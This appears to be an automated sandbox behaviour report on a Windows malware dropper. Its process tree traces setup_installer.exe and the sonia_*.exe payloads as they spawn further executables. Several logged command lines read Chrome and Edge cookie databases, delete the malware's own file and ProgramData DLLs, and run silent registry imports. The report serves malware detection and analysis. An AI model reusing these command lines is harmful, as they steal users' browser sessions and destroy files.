Token: SeAssignPrimaryTokenPrivilege	2780	svchost.exe
Token: SeIncreaseQuotaPrivilege	2780	svchost.exe
Token: SeSecurityPrivilege	2780	svchost.exe
Token: SeTakeOwnershipPrivilege	2780	svchost.exe
Token: SeLoadDriverPrivilege	2780	svchost.exe
Token: SeSystemtimePrivilege	2780	svchost.exe
Token: SeBackupPrivilege	2780	svchost.exe
Token: SeRestorePrivilege	2780	svchost.exe
Token: SeShutdownPrivilege	2780	svchost.exe
Token: SeSystemEnvironmentPrivilege	2780	svchost.exe
Token: SeUndockPrivilege	2780	svchost.exe
Token: SeManageVolumePrivilege	2780	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2780	svchost.exe
Token: SeIncreaseQuotaPrivilege	2780	svchost.exe
Token: SeSecurityPrivilege	2780	svchost.exe
Token: SeTakeOwnershipPrivilege	2780	svchost.exe
Token: SeLoadDriverPrivilege	2780	svchost.exe
Token: SeSystemtimePrivilege	2780	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

2984
2984
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

2984
5320 MicrosoftEdge.exe
5748 MicrosoftEdgeCP.exe
5748 MicrosoftEdgeCP.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

2984

pid	process
2984
2984

pid	process
2984
5320	MicrosoftEdge.exe
5748	MicrosoftEdgeCP.exe
5748	MicrosoftEdgeCP.exe

pid	process
2984

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8 (12).exesetup_installer.exesetup_install.exeqQ36hSFzLEKopYdv9Vrga2WT.execmd.execmd.execmd.execmd.exesonia_1.exesonia_6.exerUNdlL32.eXerundll32.exesvchost.exe

description	pid	process	target process
PID 3176 wrote to memory of 2776	3176	8 (12).exe	setup_installer.exe
PID 3176 wrote to memory of 2776	3176	8 (12).exe	setup_installer.exe
PID 3176 wrote to memory of 2776	3176	8 (12).exe	setup_installer.exe
PID 2776 wrote to memory of 2884	2776	setup_installer.exe	setup_install.exe
PID 2776 wrote to memory of 2884	2776	setup_installer.exe	setup_install.exe
PID 2776 wrote to memory of 2884	2776	setup_installer.exe	setup_install.exe
PID 2884 wrote to memory of 4080	2884	setup_install.exe	qQ36hSFzLEKopYdv9Vrga2WT.exe
PID 2884 wrote to memory of 4080	2884	setup_install.exe	qQ36hSFzLEKopYdv9Vrga2WT.exe
PID 2884 wrote to memory of 4080	2884	setup_install.exe	qQ36hSFzLEKopYdv9Vrga2WT.exe
PID 2884 wrote to memory of 2296	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2296	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2296	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2084	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2084	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2084	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2164	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2164	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 2164	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 784	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 784	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 784	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 3164	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 3164	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 3164	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 1484	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 1484	2884	setup_install.exe	cmd.exe
PID 2884 wrote to memory of 1484	2884	setup_install.exe	cmd.exe
PID 4080 wrote to memory of 2336	4080	qQ36hSFzLEKopYdv9Vrga2WT.exe	sonia_1.exe
PID 4080 wrote to memory of 2336	4080	qQ36hSFzLEKopYdv9Vrga2WT.exe	sonia_1.exe
PID 4080 wrote to memory of 2336	4080	qQ36hSFzLEKopYdv9Vrga2WT.exe	sonia_1.exe
PID 2164 wrote to memory of 1452	2164		sonia_4.exe
PID 2164 wrote to memory of 1452	2164		sonia_4.exe
PID 784 wrote to memory of 1700	784	cmd.exe	sonia_5.exe
PID 784 wrote to memory of 1700	784	cmd.exe	sonia_5.exe
PID 784 wrote to memory of 1700	784	cmd.exe	sonia_5.exe
PID 2084 wrote to memory of 2384	2084	cmd.exe	sonia_3.exe
PID 2084 wrote to memory of 2384	2084	cmd.exe	sonia_3.exe
PID 2084 wrote to memory of 2384	2084	cmd.exe	sonia_3.exe
PID 3164 wrote to memory of 3720	3164	cmd.exe	sonia_6.exe
PID 3164 wrote to memory of 3720	3164	cmd.exe	sonia_6.exe
PID 3164 wrote to memory of 3720	3164	cmd.exe	sonia_6.exe
PID 2296 wrote to memory of 656	2296	cmd.exe	WerFault.exe
PID 2296 wrote to memory of 656	2296	cmd.exe	WerFault.exe
PID 2296 wrote to memory of 656	2296	cmd.exe	WerFault.exe
PID 2336 wrote to memory of 3996	2336	sonia_1.exe	sonia_1.exe
PID 2336 wrote to memory of 3996	2336	sonia_1.exe	sonia_1.exe
PID 2336 wrote to memory of 3996	2336	sonia_1.exe	sonia_1.exe
PID 3720 wrote to memory of 2088	3720	sonia_6.exe	jfiag3g_gg.exe
PID 3720 wrote to memory of 2088	3720	sonia_6.exe	jfiag3g_gg.exe
PID 3720 wrote to memory of 2088	3720	sonia_6.exe	jfiag3g_gg.exe
PID 2880 wrote to memory of 1124	2880	rUNdlL32.eXe	rundll32.exe
PID 2880 wrote to memory of 1124	2880	rUNdlL32.eXe	rundll32.exe
PID 2880 wrote to memory of 1124	2880	rUNdlL32.eXe	rundll32.exe
PID 1124 wrote to memory of 3700	1124	rundll32.exe	svchost.exe
PID 1124 wrote to memory of 2696	1124	rundll32.exe	svchost.exe
PID 3700 wrote to memory of 4068	3700	svchost.exe	svchost.exe
PID 3700 wrote to memory of 4068	3700	svchost.exe	svchost.exe
PID 3700 wrote to memory of 4068	3700	svchost.exe	svchost.exe
PID 1124 wrote to memory of 1008	1124	rundll32.exe	svchost.exe
PID 1124 wrote to memory of 2528	1124	rundll32.exe	svchost.exe
PID 1124 wrote to memory of 2536	1124	rundll32.exe	svchost.exe
PID 1124 wrote to memory of 1140	1124	rundll32.exe	svchost.exe
PID 1124 wrote to memory of 1084	1124	rundll32.exe	svchost.exe
PID 1124 wrote to memory of 1420	1124	rundll32.exe	svchost.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1412

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2800

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2528

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1948

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1420

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1176

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1140

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1084

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:4208

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
3⤵
PID:6648

C:\Users\Admin\AppData\Roaming\virbftd
C:\Users\Admin\AppData\Roaming\virbftd
2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5364

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:6044

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
3⤵
PID:5616

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:5560

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
3⤵
PID:4920

C:\Users\Admin\AppData\Roaming\virbftd
C:\Users\Admin\AppData\Roaming\virbftd
2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5368

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:4284

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
3⤵
PID:7148

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:4804

C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe
C:\Users\Admin\AppData\Local\b1ef1d64-1fb1-4f2e-9862-569a321f379a\F56D.exe --Task
3⤵
PID:2228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1008

C:\Users\Admin\AppData\Local\Temp\8 (12).exe
"C:\Users\Admin\AppData\Local\Temp\8 (12).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3176

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2776

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2884

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2296

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_2.exe
sonia_2.exe
5⤵
PID:656

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
4⤵
PID:4080

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_1.exe
sonia_1.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2336

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_1.exe" -a
6⤵
- Executes dropped EXE
PID:3996

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2084

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_3.exe
sonia_3.exe
5⤵
- Executes dropped EXE
- Modifies system certificate store
PID:2384

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
4⤵
PID:2164

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_4.exe
sonia_4.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1452

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
PID:2572

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
PID:2820

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:4972

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:5248

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:6068

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:7108

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
"C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4112

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
8⤵
- Executes dropped EXE
PID:4860

C:\Users\Admin\AppData\Local\Temp\setup 326.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"
7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4380

C:\Windows\winnetdriv.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626784873 0
8⤵
- Executes dropped EXE
PID:1428

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"
7⤵
- Executes dropped EXE
PID:4464

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a
8⤵
- Executes dropped EXE
PID:2572

C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"
7⤵
- Executes dropped EXE
PID:4228

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4228 -s 1000
8⤵
- Program crash
PID:4384

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:4696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 680
8⤵
- Program crash
PID:5188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 840
8⤵
- Program crash
PID:5396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 896
8⤵
- Program crash
PID:5676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1064
8⤵
- Program crash
PID:5820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1120
8⤵
- Program crash
PID:6112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1032
8⤵
- Program crash
PID:5192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1064
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:5516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:784

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_5.exe
sonia_5.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:1700

C:\Users\Admin\Documents\Shrbx35UDWNOL2MlCmMMK3Qr.exe
"C:\Users\Admin\Documents\Shrbx35UDWNOL2MlCmMMK3Qr.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4772

C:\Users\Admin\Documents\Shrbx35UDWNOL2MlCmMMK3Qr.exe
C:\Users\Admin\Documents\Shrbx35UDWNOL2MlCmMMK3Qr.exe
7⤵
- Executes dropped EXE
PID:4728

C:\Users\Admin\Documents\Shrbx35UDWNOL2MlCmMMK3Qr.exe
C:\Users\Admin\Documents\Shrbx35UDWNOL2MlCmMMK3Qr.exe
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4308

C:\Users\Admin\Documents\HBlBxY0jrQdDGxVl43Pjhzjp.exe
"C:\Users\Admin\Documents\HBlBxY0jrQdDGxVl43Pjhzjp.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4760

C:\Users\Admin\Documents\zBpZ6OGN1kDvR78jvgCWPgsC.exe
"C:\Users\Admin\Documents\zBpZ6OGN1kDvR78jvgCWPgsC.exe"
6⤵
- Executes dropped EXE
PID:4880

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
7⤵
PID:3780

C:\Users\Admin\Documents\MqCt2HGmk0XJmEHuyJvhD7Nx.exe
"C:\Users\Admin\Documents\MqCt2HGmk0XJmEHuyJvhD7Nx.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4848

C:\Users\Admin\AppData\Roaming\1234.exe
C:\Users\Admin\AppData\Roaming\1234.exe 1234
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5936

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
PID:5028

C:\Users\Admin\Documents\s9iRRnUnf6DYhpu5oKxjSdhA.exe
"C:\Users\Admin\Documents\s9iRRnUnf6DYhpu5oKxjSdhA.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Users\Admin\Documents\s9iRRnUnf6DYhpu5oKxjSdhA.exe
C:\Users\Admin\Documents\s9iRRnUnf6DYhpu5oKxjSdhA.exe
7⤵
- Executes dropped EXE
PID:1160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1160 -s 980
8⤵
- Program crash
PID:5096

C:\Users\Admin\Documents\s9iRRnUnf6DYhpu5oKxjSdhA.exe
C:\Users\Admin\Documents\s9iRRnUnf6DYhpu5oKxjSdhA.exe
7⤵
- Executes dropped EXE
PID:412

C:\Users\Admin\Documents\NeWOTRuigwJfNo9hzVlM5Vf8.exe
"C:\Users\Admin\Documents\NeWOTRuigwJfNo9hzVlM5Vf8.exe"
6⤵
- Executes dropped EXE
PID:5000

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:2792

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:4888

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:3064

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5048

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:5080

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:2572

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:5308

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:5956

C:\Users\Admin\Documents\sZfLnN_RMfCNWnTotN1VyYsH.exe
"C:\Users\Admin\Documents\sZfLnN_RMfCNWnTotN1VyYsH.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5112

C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe
"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"
7⤵
- Executes dropped EXE
PID:4712

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "
7⤵
PID:1296

C:\Windows\SysWOW64\regedit.exe
regedit /s adj.reg
8⤵
- Runs .reg file with regedit
PID:4244

C:\Windows\SysWOW64\regedit.exe
regedit /s adj2.reg
8⤵
- Runs .reg file with regedit
PID:6036

C:\Users\Admin\Documents\UeEqEFNzTuqKyuYYJhBRFdV8.exe
"C:\Users\Admin\Documents\UeEqEFNzTuqKyuYYJhBRFdV8.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3568

C:\Users\Admin\Documents\UeEqEFNzTuqKyuYYJhBRFdV8.exe
C:\Users\Admin\Documents\UeEqEFNzTuqKyuYYJhBRFdV8.exe
7⤵
- Executes dropped EXE
PID:592

C:\Users\Admin\Documents\c7qu6KIVv9xeg7Xlxrh52dtQ.exe
"C:\Users\Admin\Documents\c7qu6KIVv9xeg7Xlxrh52dtQ.exe"
6⤵
- Executes dropped EXE
PID:4532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 660
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Program crash
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 676
7⤵
- Program crash
PID:4632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 632
7⤵
- Program crash
PID:4708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 656
7⤵
- Program crash
PID:4192

C:\Users\Admin\Documents\x2_6OeVg1GK9AAxR33OxAVxT.exe
"C:\Users\Admin\Documents\x2_6OeVg1GK9AAxR33OxAVxT.exe"
6⤵
- Executes dropped EXE
PID:4552

C:\Users\Admin\Documents\x2_6OeVg1GK9AAxR33OxAVxT.exe
"C:\Users\Admin\Documents\x2_6OeVg1GK9AAxR33OxAVxT.exe"
7⤵
- Modifies data under HKEY_USERS
PID:6476

C:\Users\Admin\Documents\9lHNWoc85dTCYbcFmiqn4lUQ.exe
"C:\Users\Admin\Documents\9lHNWoc85dTCYbcFmiqn4lUQ.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4032

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 9lHNWoc85dTCYbcFmiqn4lUQ.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\9lHNWoc85dTCYbcFmiqn4lUQ.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:5928

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 9lHNWoc85dTCYbcFmiqn4lUQ.exe /f
8⤵
- Kills process with taskkill
PID:4120

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:5720

C:\Users\Admin\Documents\3EjX1FRIJjCzFdcDZ3O_rThs.exe
"C:\Users\Admin\Documents\3EjX1FRIJjCzFdcDZ3O_rThs.exe"
6⤵
- Executes dropped EXE
PID:3828

C:\Users\Admin\Documents\3EjX1FRIJjCzFdcDZ3O_rThs.exe
"C:\Users\Admin\Documents\3EjX1FRIJjCzFdcDZ3O_rThs.exe" -a
7⤵
- Executes dropped EXE
PID:4292

C:\Users\Admin\Documents\knr5nbUciwTJyPRWxXY4QGpc.exe
"C:\Users\Admin\Documents\knr5nbUciwTJyPRWxXY4QGpc.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4324

C:\Users\Admin\Documents\knr5nbUciwTJyPRWxXY4QGpc.exe
"C:\Users\Admin\Documents\knr5nbUciwTJyPRWxXY4QGpc.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2560

C:\Users\Admin\Documents\xwy52H8oRj2tiyRZ82wCLSz1.exe
"C:\Users\Admin\Documents\xwy52H8oRj2tiyRZ82wCLSz1.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Users\Admin\Documents\xwy52H8oRj2tiyRZ82wCLSz1.exe
C:\Users\Admin\Documents\xwy52H8oRj2tiyRZ82wCLSz1.exe
7⤵
- Executes dropped EXE
PID:2796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 968
8⤵
- Program crash
PID:1816

C:\Users\Admin\Documents\bRVaSlH4kIJ_Toq366O9V82g.exe
"C:\Users\Admin\Documents\bRVaSlH4kIJ_Toq366O9V82g.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4684

C:\Users\Admin\Documents\bRVaSlH4kIJ_Toq366O9V82g.exe
C:\Users\Admin\Documents\bRVaSlH4kIJ_Toq366O9V82g.exe
7⤵
- Executes dropped EXE
PID:4404

C:\Users\Admin\Documents\qQ36hSFzLEKopYdv9Vrga2WT.exe
"C:\Users\Admin\Documents\qQ36hSFzLEKopYdv9Vrga2WT.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
PID:4080

C:\Users\Admin\Documents\5sKD9Rb7uUciJrYD2dM424Jf.exe
"C:\Users\Admin\Documents\5sKD9Rb7uUciJrYD2dM424Jf.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4536

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3164

C:\Users\Admin\AppData\Local\Temp\7zS8DACDB14\sonia_6.exe
sonia_6.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3720

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:2088

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:3220

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
